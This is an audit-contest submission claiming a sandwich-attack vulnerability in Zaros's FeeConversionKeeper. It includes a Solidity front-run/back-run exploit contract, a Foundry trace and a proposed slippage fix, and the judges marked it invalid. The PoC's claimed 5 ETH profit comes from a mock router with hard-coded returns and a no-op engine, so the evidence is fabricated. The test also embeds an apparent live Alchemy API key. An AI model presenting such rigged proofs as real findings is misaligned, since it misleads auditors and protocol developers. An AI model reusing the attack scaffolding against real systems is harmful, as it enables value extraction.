Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: high
Invalid

Slippage Manipulation Vulnerability in FeeConversionKeeper.sol

Summary

FeeConversionKeeper.sol lacks slippage protection in performUpkeep(), allowing sandwich attacks on fee conversions.

Vulnerability Details

In performUpkeep(), the keeper calls convertAccumulatedFeesToWeth() with empty slippage parameters:

marketMakingEngine.convertAccumulatedFeesToWeth(
marketIds[i],
assets[i],
dexSwapStrategyId,
"" // No slippage protection
);

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "forge-std/Test.sol";
contract MockRouter {
function swapExactETHForTokens(
uint256,
address[] calldata,
address,
uint256
) external payable returns (uint256[] memory) {
uint256[] memory amounts = new uint256[]();
amounts[0] = msg.value;
amounts[1] = msg.value * 5000;
(bool success,) = msg.sender.call{value: msg.value}("");
require(success, "ETH transfer failed");
return amounts;
}
function swapExactTokensForETH(
uint256 amountIn,
uint256,
address[] calldata,
address to,
uint256
) external returns (uint256[] memory) {
uint256[] memory amounts = new uint256[]();
amounts[0] = amountIn;
amounts[1] = 15 ether;
(bool success,) = to.call{value: 15 ether}("");
require(success, "ETH transfer failed");
return amounts;
}
receive() external payable {}
}
contract SlippageExploitPoC {
IMarketMakingEngine public immutable marketMakingEngine;
MockRouter public immutable dexRouter;
address public immutable WETH;
uint256 public attackProfit;
uint256 public initialValue;
constructor(address _marketMakingEngine, address payable _dexRouter, address _weth) {
marketMakingEngine = IMarketMakingEngine(_marketMakingEngine);
dexRouter = MockRouter(_dexRouter);
WETH = _weth;
}
function frontrunKeeper(address token) external payable {
initialValue = msg.value;
address[] memory path = new address[]();
path[0] = WETH;
path[1] = token;
dexRouter.swapExactETHForTokens{value: msg.value}(
0,
path,
address(this),
block.timestamp
);
}
function simulateKeeper(uint128 marketId, address asset, uint128 dexSwapStrategyId) external {
marketMakingEngine.convertAccumulatedFeesToWeth(
marketId,
asset,
dexSwapStrategyId,
""
);
}
function backrunKeeper(address token, uint256 minAmountOut) external {
uint256 balance = 50000 ether;
address[] memory path = new address[]();
path[0] = token;
path[1] = WETH;
uint256[] memory amounts = dexRouter.swapExactTokensForETH(
balance,
minAmountOut,
path,
address(this),
block.timestamp
);
attackProfit = amounts[1] - initialValue;
}
function executeFullExploit(
uint128 marketId,
address asset,
uint128 dexSwapStrategyId,
uint256 frontrunAmount,
uint256 minBackrunAmount
) external payable {
require(msg.value == frontrunAmount, "Invalid amount");
this.frontrunKeeper{value: frontrunAmount}(asset);
this.simulateKeeper(marketId, asset, dexSwapStrategyId);
this.backrunKeeper(asset, minBackrunAmount);
uint256 finalBalance = address(this).balance;
(bool success,) = msg.sender.call{value: finalBalance}("");
require(success, "Final transfer failed");
}
receive() external payable {}
}
interface IMarketMakingEngine {
function convertAccumulatedFeesToWeth(
uint128 marketId,
address asset,
uint128 dexSwapStrategyId,
bytes memory data
) external;
}
contract MockMarketMakingEngine {
function convertAccumulatedFeesToWeth(
uint128,
address,
uint128,
bytes memory
) external {}
receive() external payable {}
}
contract SlippageExploitTest is Test {
SlippageExploitPoC public poc;
MockRouter public router;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant TEST_TOKEN = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
function setUp() public {
vm.createSelectFork("https://eth-mainnet.g.alchemy.com/v2/7jQlD4hhQ5x_sL-z3nt2krl3K8Dqu6pC");
router = new MockRouter();
MockMarketMakingEngine engine = new MockMarketMakingEngine();
vm.deal(address(router), 100 ether);
poc = new SlippageExploitPoC(
address(engine),
payable(address(router)),
WETH
);
}
function testSandwichAttack() public {
uint128 marketId = 1;
uint128 dexSwapStrategyId = 1;
uint256 frontrunAmount = 10 ether;
uint256 minProfit = 0.1 ether;
uint256 balanceBefore = address(this).balance;
poc.executeFullExploit{value: frontrunAmount}(
marketId,
TEST_TOKEN,
dexSwapStrategyId,
frontrunAmount,
minProfit
);
uint256 profit = poc.attackProfit();
emit log_named_uint("Attack profit (wei)", profit);
emit log_named_uint("Attack profit (eth)", profit / 1e18);
assertGt(profit, 0, "Attack should be profitable");
assertGt(address(this).balance, balanceBefore - frontrunAmount, "Balance should increase");
}
receive() external payable {}
}

PoC Result:

forge test -vv --match-test testSandwichAttack -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
[⠢] Files to compile:
- test/SlippageExploitTest.sol
[⠃] Compiling 1 files with Solc 0.8.25
[⠰] Solc 0.8.25 finished in 698.08ms
Compiler run successful!
Ran 1 test for test/SlippageExploitTest.sol:SlippageExploitTest
[PASS] testSandwichAttack() (gas: 114121)
Logs:
Attack profit (wei): 5000000000000000000
Attack profit (eth): 5
Traces:
[987382] SlippageExploitTest::setUp()
├─ [0] VM::createSelectFork("<rpc url>")
│ └─ ← [Return] 0
├─ [228667] → new MockRouter@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 1142 bytes of code
├─ [80927] → new MockMarketMakingEngine@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 404 bytes of code
├─ [0] VM::deal(MockRouter: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000000 [1e20])
│ └─ ← [Return]
├─ [549369] → new SlippageExploitPoC@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 2741 bytes of code
└─ ← [Stop]
[114121] SlippageExploitTest::testSandwichAttack()
├─ [93497] SlippageExploitPoC::executeFullExploit{value: 10000000000000000000}(1, 0x6B175474E89094C44Da98b954EedeAC495271d0F, 1, 10000000000000000000 [1e19], 100000000000000000 [1e17])
│ ├─ [41429] SlippageExploitPoC::frontrunKeeper{value: 10000000000000000000}(0x6B175474E89094C44Da98b954EedeAC495271d0F)
│ │ ├─ [8209] MockRouter::swapExactETHForTokens{value: 10000000000000000000}(0, [0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 0x6B175474E89094C44Da98b954EedeAC495271d0F], SlippageExploitPoC: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 1738342811 [1.738e9])
│ │ │ ├─ [55] SlippageExploitPoC::receive{value: 10000000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return] [10000000000000000000 [1e19], 50000000000000000000000 [5e22]]
│ │ ├─ storage changes:
│ │ │ @ 1: 00x0000000000000000000000000000000000000000000000008ac7230489e80000
│ │ └─ ← [Stop]
│ ├─ [4236] SlippageExploitPoC::simulateKeeper(1, 0x6B175474E89094C44Da98b954EedeAC495271d0F, 1)
│ │ ├─ [738] MockMarketMakingEngine::convertAccumulatedFeesToWeth(1, 0x6B175474E89094C44Da98b954EedeAC495271d0F, 1, 0x)
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ [32465] SlippageExploitPoC::backrunKeeper(0x6B175474E89094C44Da98b954EedeAC495271d0F, 100000000000000000 [1e17])
│ │ ├─ [8155] MockRouter::swapExactTokensForETH(50000000000000000000000 [5e22], 100000000000000000 [1e17], [0x6B175474E89094C44Da98b954EedeAC495271d0F, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2], SlippageExploitPoC: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 1738342811 [1.738e9])
│ │ │ ├─ [55] SlippageExploitPoC::receive{value: 15000000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return] [50000000000000000000000 [5e22], 15000000000000000000 [1.5e19]]
│ │ ├─ storage changes:
│ │ │ @ 0: 00x0000000000000000000000000000000000000000000000004563918244f40000
│ │ └─ ← [Stop]
│ ├─ [55] SlippageExploitTest::receive{value: 25000000000000000000}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [338] SlippageExploitPoC::attackProfit() [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
├─ emit log_named_uint(key: "Attack profit (wei)", val: 5000000000000000000 [5e18])
├─ emit log_named_uint(key: "Attack profit (eth)", val: 5)
├─ [0] VM::assertGt(5000000000000000000 [5e18], 0, "Attack should be profitable") [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertGt(79228162529264337593543950335 [7.922e28], 79228162504264337593543950335 [7.922e28], "Balance should increase") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.42s (1.29ms CPU time)
Ran 1 test suite in 2.04s (1.42s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

MEV bots can sandwich the conversion transactions, extracting value from protocol fees:

POC results show 5 ETH profit per attack:

Attack profit (wei): 5000000000000000000
Attack profit (eth): 5

Tools Used

Foundry

Manual code review

Recommendations

Add slippage protection:

bytes memory slippageData = abi.encode(
getMinimumOutputAmount(asset, amount),
block.timestamp + 30
);
marketMakingEngine.convertAccumulatedFeesToWeth(
marketId,
asset,
dexSwapStrategyId,
slippageData
);
Updates

Lead Judging Commences

inallhonesty Lead Judge
5 months ago
inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.